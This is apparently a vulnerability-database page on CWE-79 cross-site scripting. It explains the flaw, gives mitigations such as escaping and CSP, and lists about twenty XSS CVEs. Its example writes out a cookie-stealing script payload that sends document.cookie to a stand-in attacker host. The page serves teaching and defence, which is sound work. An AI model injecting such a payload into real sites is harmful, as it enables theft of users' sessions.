Fallos del tipo CWE-79

28.626 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-41252HIGHCross-site scripting (XSS) from writer field content in the site frontendEPSS 0.9%CVE-2024-25503MEDIUMCross Site Scripting (XSS) vulnerability in Advanced REST Client v.17.0.9 allows a remote attacker to execute arbitrary code and obtain sensEPSS 0.9%CVE-2026-49069HIGHWordPress WPZOOM Portfolio plugin <= 1.4.21 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.9%CVE-2017-12344—Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into EPSS 0.9%CVE-2020-36636LOWOpenMRS Admin UI Module Account Setup AccountPageController.java sendErrorMessage cross site scriptingEPSS 0.9%CVE-2024-24131MEDIUMSuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.EPSS 0.9%CVE-2022-3072HIGHCross-site Scripting (XSS) - Stored in francoisjacquet/rosariosisEPSS 0.9%CVE-2023-28120MEDIUMThere is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.EPSS 0.9%CVE-2025-51398MEDIUMA stored cross-site scripting (XSS) vulnerability in the Facebook registration page of Live Helper Chat v4.60 allows attackers to execute arEPSS 0.9%CVE-2025-51400MEDIUMA stored cross-site scripting (XSS) vulnerability in the Personal Canned Messages of Live Helper Chat v4.60 allows attackers to execute arbiEPSS 0.9%CVE-2025-51401MEDIUMA stored cross-site scripting (XSS) vulnerability in the chat transfer function of Live Helper Chat v4.60 allows attackers to execute arbitrEPSS 0.9%CVE-2018-15451MEDIUMCisco Prime Service Catalog Cross-Site Scripting VulnerabilityEPSS 0.9%CVE-2023-33255MEDIUMAn issue was discovered in Papaya Viewer 1.0.1449. User-supplied input in form of DICOM or NIFTI images can be loaded into the Papaya web apEPSS 0.9%CVE-2024-27082HIGHCacti Cross-site Scripting vulnerability when managing treesEPSS 0.9%CVE-2020-3466MEDIUMCisco DNA Center Cross-Site Scripting VulnerabilitiesEPSS 0.9%CVE-2022-44952MEDIUMRukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/applicatioEPSS 0.9%CVE-2026-33933MEDIUMReflected XSS via Unescaped contextName Parameter in Custom Template EditorEPSS 0.9%CVE-2024-32391HIGHCross Site Scripting vulnerability in MacCMS v.10 v.2024.1000.3000 allows a remote attacker to execute arbitrary code via a crafted payload.EPSS 0.9%CVE-2013-4170—In general, Ember.js escapes or strips any user-supplied content before inserting it in strings that will be sent to innerHTML. However, theEPSS 0.9%CVE-2023-3521MEDIUMCross-site Scripting (XSS) - Reflected in fossbilling/fossbillingEPSS 0.9%